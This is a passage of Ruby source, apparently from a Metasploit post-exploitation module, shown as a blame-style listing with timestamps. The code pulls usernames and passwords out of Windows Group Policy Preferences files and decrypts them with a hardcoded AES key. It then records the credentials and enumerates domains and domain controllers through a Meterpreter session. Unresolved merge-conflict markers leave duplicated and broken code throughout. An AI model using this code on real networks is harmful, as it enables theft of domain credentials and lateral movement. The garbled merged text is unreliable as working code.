user = node.attributes['runAs'] if node.attributes['runAs']
|
|
|
|
user = node.attributes['accountName'] if node.attributes['accountName']
|
|
|
|
user = node.attributes['username'] if node.attributes['username']
|
|
|
|
user = node.attributes['userName'] if node.attributes['userName']
|
2012-06-24 18:08:19 +00:00
|
|
|
user = node.attributes['newName'] unless node.attributes['newName'].blank?
|
|
|
|
changed = node.parent.attributes['changed']
|
|
|
|
|
2012-06-27 15:06:15 +00:00
|
|
|
expires = node.attributes['expires']
|
2012-06-24 18:08:19 +00:00
|
|
|
never_expires = node.attributes['neverExpires']
|
|
|
|
disabled = node.attributes['acctDisabled']
|
2012-06-23 17:42:33 +00:00
|
|
|
|
2012-06-24 18:08:19 +00:00
|
|
|
|
|
|
|
table = Rex::Ui::Text::Table.new(
|
2012-06-24 21:21:35 +00:00
|
|
|
'Header' => 'Group Policy Credential Info',
|
|
|
|
'Indent' => 1,
|
|
|
|
'SortIndex' => 5,
|
|
|
|
'Columns' =>
|
2012-06-24 18:08:19 +00:00
|
|
|
[
|
|
|
|
'Name',
|
|
|
|
'Value',
|
|
|
|
]
|
|
|
|
)
|
2012-06-24 21:21:35 +00:00
|
|
|
|
2012-06-24 18:08:19 +00:00
|
|
|
table << ["USERNAME", user ]
|
|
|
|
table << ["PASSWORD", pass]
|
2012-06-24 21:21:35 +00:00
|
|
|
table << ["DOMAIN CONTROLLER", xmlfile[:dc]]
|
|
|
|
table << ["DOMAIN", xmlfile[:domain] ]
|
2012-06-24 18:08:19 +00:00
|
|
|
table << ["CHANGED", changed]
|
|
|
|
table << ["EXPIRES", expires] unless expires.blank?
|
|
|
|
table << ["NEVER_EXPIRES?", never_expires] unless never_expires.blank?
|
|
|
|
table << ["DISABLED", disabled] unless disabled.blank?
|
|
|
|
|
|
|
|
|
|
|
|
print_good table.to_s
|
|
|
|
report_creds(user,pass) unless disabled and disabled == '1'
|
2012-06-12 02:20:18 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2012-06-23 17:42:33 +00:00
|
|
|
|
2012-07-02 07:57:54 +00:00
|
|
|
>>>>>>> upstream/master
|
2012-06-22 13:30:12 +00:00
|
|
|
def report_creds(user, pass)
|
|
|
|
if session.db_record
|
|
|
|
source_id = session.db_record.id
|
|
|
|
else
|
|
|
|
source_id = nil
|
2012-06-21 16:14:57 +00:00
|
|
|
end
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
report_auth_info(
|
|
|
|
:host => session.sock.peerhost,
|
|
|
|
:port => 445,
|
|
|
|
:sname => 'smb',
|
|
|
|
:proto => 'tcp',
|
|
|
|
:source_id => source_id,
|
|
|
|
:source_type => "exploit",
|
|
|
|
:user => user,
|
|
|
|
:pass => pass)
|
2012-06-21 16:14:57 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def decrypt(encrypted_data)
|
|
|
|
padding = "=" * (4 - (encrypted_data.length % 4))
|
|
|
|
epassword = "#{encrypted_data}#{padding}"
|
|
|
|
decoded = Rex::Text.decode_base64(epassword)
|
2012-06-22 10:36:27 +00:00
|
|
|
|
2012-06-21 16:14:57 +00:00
|
|
|
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
|
|
|
|
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
|
|
|
|
aes.decrypt
|
|
|
|
aes.key = key
|
|
|
|
plaintext = aes.update(decoded)
|
|
|
|
plaintext << aes.final
|
2012-06-22 13:30:12 +00:00
|
|
|
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
return pass
|
2012-06-21 16:14:57 +00:00
|
|
|
end
|
|
|
|
|
2012-07-02 07:57:54 +00:00
|
|
|
<<<<<<< HEAD
|
2012-06-22 10:14:19 +00:00
|
|
|
#enum_domains.rb
|
2012-07-02 07:57:54 +00:00
|
|
|
=======
|
2012-06-23 17:42:33 +00:00
|
|
|
|
2012-07-02 07:57:54 +00:00
|
|
|
>>>>>>> upstream/master
|
2012-06-21 16:14:57 +00:00
|
|
|
def enum_domains
|
|
|
|
print_status "Enumerating Domains on the Network..."
|
2012-06-22 17:11:15 +00:00
|
|
|
domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM
|
2012-06-21 16:14:57 +00:00
|
|
|
buffersize = 500
|
|
|
|
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
|
|
|
|
# Estimate new buffer size on percentage recovered.
|
|
|
|
percent_found = (result['entriesread'].to_f/result['totalentries'].to_f)
|
2012-06-22 17:20:45 +00:00
|
|
|
if percent_found > 0
|
|
|
|
buffersize = (buffersize/percent_found).to_i
|
|
|
|
else
|
|
|
|
buffersize += 500
|
|
|
|
end
|
2012-06-21 17:46:20 +00:00
|
|
|
|
2012-06-21 16:14:57 +00:00
|
|
|
while result['return'] == 234
|
|
|
|
buffersize = buffersize + 500
|
|
|
|
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
|
|
|
|
end
|
|
|
|
|
|
|
|
count = result['totalentries']
|
|
|
|
print_status("#{count} domain(s) found.")
|
|
|
|
startmem = result['bufptr']
|
|
|
|
|
|
|
|
base = 0
|
|
|
|
domains = []
|
2012-06-22 17:45:56 +00:00
|
|
|
|
|
|
|
if count == 0
|
|
|
|
return domains
|
|
|
|
end
|
|
|
|
|
2012-06-21 16:14:57 +00:00
|
|
|
mem = client.railgun.memread(startmem, 8*count)
|
2012-06-22 17:45:56 +00:00
|
|
|
|
2012-06-22 10:03:34 +00:00
|
|
|
count.times do |i|
|
2012-06-21 16:14:57 +00:00
|
|
|
x = {}
|
|
|
|
x[:platform] = mem[(base + 0),4].unpack("V*")[0]
|
|
|
|
nameptr = mem[(base + 4),4].unpack("V*")[0]
|
|
|
|
x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
|
2012-07-02 07:57:54 +00:00
|
|
|
<<<<<<< HEAD
|
2012-06-21 16:14:57 +00:00
|
|
|
domains << x
|
2012-07-02 07:57:54 +00:00
|
|
|
=======
|
2012-06-23 17:42:33 +00:00
|
|
|
domains << x[:domain]
|
2012-07-02 07:57:54 +00:00
|
|
|
>>>>>>> upstream/master
|
2012-06-21 16:14:57 +00:00
|
|
|
base = base + 8
|
2012-06-22 10:03:34 +00:00
|
|
|
end
|
|
|
|
|
2012-06-21 16:14:57 +00:00
|
|
|
return domains
|
|
|
|
end
|
|
|
|
|
2012-07-02 07:57:54 +00:00
|
|
|
<<<<<<< HEAD
|
2012-06-22 10:14:19 +00:00
|
|
|
#enum_domains.rb
|
2012-07-02 07:57:54 +00:00
|
|
|
=======
|
|
|
|
>>>>>>> upstream/master
|
2012-06-21 16:14:57 +00:00
|
|
|
def enum_dcs(domain)
|
|
|
|
print_status("Enumerating DCs for #{domain}")
|
|
|
|
domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL)
|
|
|
|
buffersize = 500
|
|
|
|
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
|
|
|
|
while result['return'] == 234
|
|
|
|
buffersize = buffersize + 500
|
|
|
|
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
|
|
|
|
end
|
|
|
|
if result['totalentries'] == 0
|
2012-07-02 07:57:54 +00:00
|
|
|
<<<<<<< HEAD
|
2012-06-21 16:14:57 +00:00
|
|
|
print_error "No Domain Controllers found for #{domain}"
|
2012-07-02 07:57:54 +00:00
|
|
|
=======
|
2012-06-12 02:20:18 +00:00
|
|
|
print_error("No Domain Controllers found for #{domain}")
|
2012-07-02 07:57:54 +00:00
|
|
|
>>>>>>> upstream/master
|
2012-06-21 16:14:57 +00:00
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
count = result['totalentries']
|
|
|
|
startmem = result['bufptr']
|
|
|
|
|
|
|
|
base = 0
|
|
|
|
mem = client.railgun.memread(startmem, 8*count)
|
|
|
|
hostnames = []
|
2012-07-02 07:57:54 +00:00
|
|
|
<<<<<<< HEAD
|
2012-06-21 16:14:57 +00:00
|
|
|
count.times do |i|
|
2012-07-02 07:57:54 +00:00
|
|
|
=======
|
2012-06-12 02:20:18 +00:00
|
|
|
count.times{|i|
|
2012-07-02 07:57:54 +00:00
|
|
|
>>>>>>> upstream/master
|
2012-06-21 16:14:57 +00:00
|
|
|
t = {}
|
|
|
|
t[:platform] = mem[(base + 0),4].unpack("V*")[0]
|
|
|
|
nameptr = mem[(base + 4),4].unpack("V*")[0]
|
|
|
|
t[:dc_hostname] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
|
|
|
|
base = base + 8
|
|
|
|
print_good "DC Found: #{t[:dc_hostname]}"
|
|
|
|
hostnames << t[:dc_hostname]
|
2012-07-02 07:57:54 +00:00
|
|
|
<<<<<<< HEAD
|
2012-06-21 16:14:57 +00:00
|
|
|
end
|
2012-06-21 17:46:20 +00:00
|
|
|
|
2012-06-21 16:14:57 +00:00
|
|
|
return hostnames
|
|
|
|
end
|
2012-06-21 17:46:20 +00:00
|
|
|
|
2012-06-21 16:14:57 +00:00
|
|
|
#enum_domain.rb
|
|
|
|
def reg_getvaldata(key,valname)
|
|
|
|
value = nil
|
|
|
|
begin
|
|
|
|
root_key, base_key = client.sys.registry.splitkey(key)
|
|
|
|
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
|
|
|
|
v = open_key.query_value(valname)
|
|
|
|
value = v.data
|
|
|
|
open_key.close
|
2012-06-22 10:27:06 +00:00
|
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
|
|
print_error "Received error code #{e.code} - #{e.message} when reading the registry."
|
2012-06-21 16:14:57 +00:00
|
|
|
end
|
2012-06-22 10:03:34 +00:00
|
|
|
|
2012-06-21 16:14:57 +00:00
|
|
|
return value
|
|
|
|
end
|
|
|
|
|
2012-06-22 10:14:19 +00:00
|
|
|
#enum_domain.rb
|
2012-06-21 16:14:57 +00:00
|
|
|
def get_domain_controller()
|
|
|
|
domain = nil
|
|
|
|
begin
|
|
|
|
subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History"
|
|
|
|
v_name = "DCName"
|
|
|
|
domain = reg_getvaldata(subkey, v_name)
|
2012-06-22 10:27:06 +00:00
|
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
|
|
print_error "Received error code #{e.code} - #{e.message} when reading the registry."
|
2012-06-22 10:03:34 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
if domain.nil?
|
|
|
|
print_error "No domain controller retrieved - is this machine part of a domain?"
|
|
|
|
return nil
|
|
|
|
else
|
|
|
|
return domain.sub!(/\\\\/,'')
|
2012-06-21 16:14:57 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2012-06-21 17:46:20 +00:00
|
|
|
|
2012-07-02 07:57:54 +00:00
|
|
|
=======
|
2012-06-12 02:20:18 +00:00
|
|
|
}
|
|
|
|
return hostnames
|
|
|
|
end
|
2012-06-23 17:42:33 +00:00
|
|
|
|
2012-06-23 22:38:07 +00:00
|
|
|
def get_domain_reg
|
|
|
|
begin
|
|
|
|
subkey = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\"
|
|
|
|
v_name = "Domain"
|
|
|
|
domain = registry_getvaldata(subkey, v_name)
|
2012-06-24 18:08:19 +00:00
|
|
|
print_status "Retrieved domain #{domain} from registry "
|
2012-06-23 22:38:07 +00:00
|
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
|
|
print_error "Received error code #{e.code} - #{e.message} when reading the registry."
|
|
|
|
end
|
2012-06-24 21:21:35 +00:00
|
|
|
domain = domain.split('.')[0].upcase
|
2012-06-23 22:38:07 +00:00
|
|
|
|
|
|
|
return domain
|
|
|
|
end
|
|
|
|
|
2012-06-12 02:20:18 +00:00
|
|
|
end
|
2012-07-02 07:57:54 +00:00
|
|
|
>>>>>>> upstream/master
|